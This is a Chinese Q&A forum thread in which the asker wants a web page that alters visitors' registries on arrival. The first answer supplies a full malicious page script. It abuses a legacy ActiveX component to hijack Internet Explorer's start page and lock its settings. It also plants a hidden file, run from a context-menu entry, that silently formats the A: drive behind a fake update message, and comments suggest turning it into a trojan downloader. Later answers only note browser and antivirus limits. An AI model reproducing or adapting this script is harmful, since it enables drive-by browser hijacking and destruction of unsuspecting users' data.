我想做一网页，别人一到我的网页后就会修改他的注册表，请问是不是用ActiveX来实现？决不是用来做坏事的!

Question

我想做一网页，别人一到我的网页后就会修改他的注册表，请问是不是用ActiveX来实现？决对不是用来做坏事的，请帮忙回答一下，给分!

Answer 1

<script> 
//初始化actiVex控件 
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>") 
//初始化actiVex控件结束 
//定义变量 
function reg(){ 
try 
{ 
//设定applets为0 
a=document.applets[0] 
//初始化Windows Script Host Shell Object 
a.setCLSID("{f935dc22-1cf0-22d0-adb9-00c04fd58a0b}") 
a.createInstance() 
S=a.GetObject() 
//初始化Filesys tem Object 
a.setCLSID("{0d43fe01-f093-22cf-8940-00a0c9054228}") 
a.createInstance(); 
fs=a.GetObject() 
try 
{ 
//开始写注册表 
//设定IE的标题为Internet Explorer 
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer") 
//设定IE的默认首页为空白页 若你想把首页设为你的网页也可以 
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about :blank") 
//让设定首页那项变灰 
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD") 
//让设定分级审查设定那项变灰 
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD") 
//在网页右键菜单中加入调用文件的命令 
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\","c:\\format-a.txt.{3050f4d8-98b5-22cf-bb82-00aa00bdce0b}"); 
//写入值为0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:双字节型 REG_BINARY:二进制型] 
//对于REG_DWORD型和REG_BINARY型则有两种赋值方式 
//直接用十进制的数表示，如：0，1等 
//用十六进制的数表示,如：0x12,0xff等 
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盘\\contexts",0xf3,"REG_DWORD") 
//结束写注册表 
//开始写硬盘 
//生成一个名为c:\\5flash.txt.{3050f4d8-98b5-22cf-bb82-00aa00bdce0b}的文件 
hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-22cf-bb82-00aa00bdce0b}") 
//把这个文件写入java script内容 
//脚本中的start /m 为最小化窗口 /autotest为自动 /u为无条件格式化 
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m f0rmat.com a:/q /autotest /u");alert ("正在更新a盘系统文件,请稍等......");<\/script>') 
//关闭这个文件 
hd.close() 
//把这个文件下载到客户机的c盘中,这里的路径完全可以改成网络上的，然后在后面接上.Copy("d:\f0rmat.txt"),这个脚本可以改成下载木马 
//格式为file=fs.GetFile("网络路径").Copy("运行路径") 
//这个脚本如果配合asp，那么完全成了一个功能非常强大的木马了 
file=fs.GetFile("c:\\f0rmat-a.txt.{3050f4d8-98b5-22cf-bb82-00aa00bdce0b}") 
//设定这个文件的属性为隐藏 
file.Attributes=6 
//结束写硬盘 
} 
catch(reg) 
{} 
} 
catch(reg) 
{} 
} 
function flash() 
{ 
//隔100毫秒就运行一次 
setTimeout("reg()",100) 
} 
flash() 
</script>

Answer 2

1、如果想直接修改的话，除非浏览你的网页的IE没有升级
2、明确告诉用户，让他们下载你的Activex控件，然后就可以任意修改了

Answer 3

最好用明确的方法，用JAVASCRIPT的话有杀毒软件会隔离的。

Answer 4

xp  以上 就没有 com.ms.xxx这些  java class 了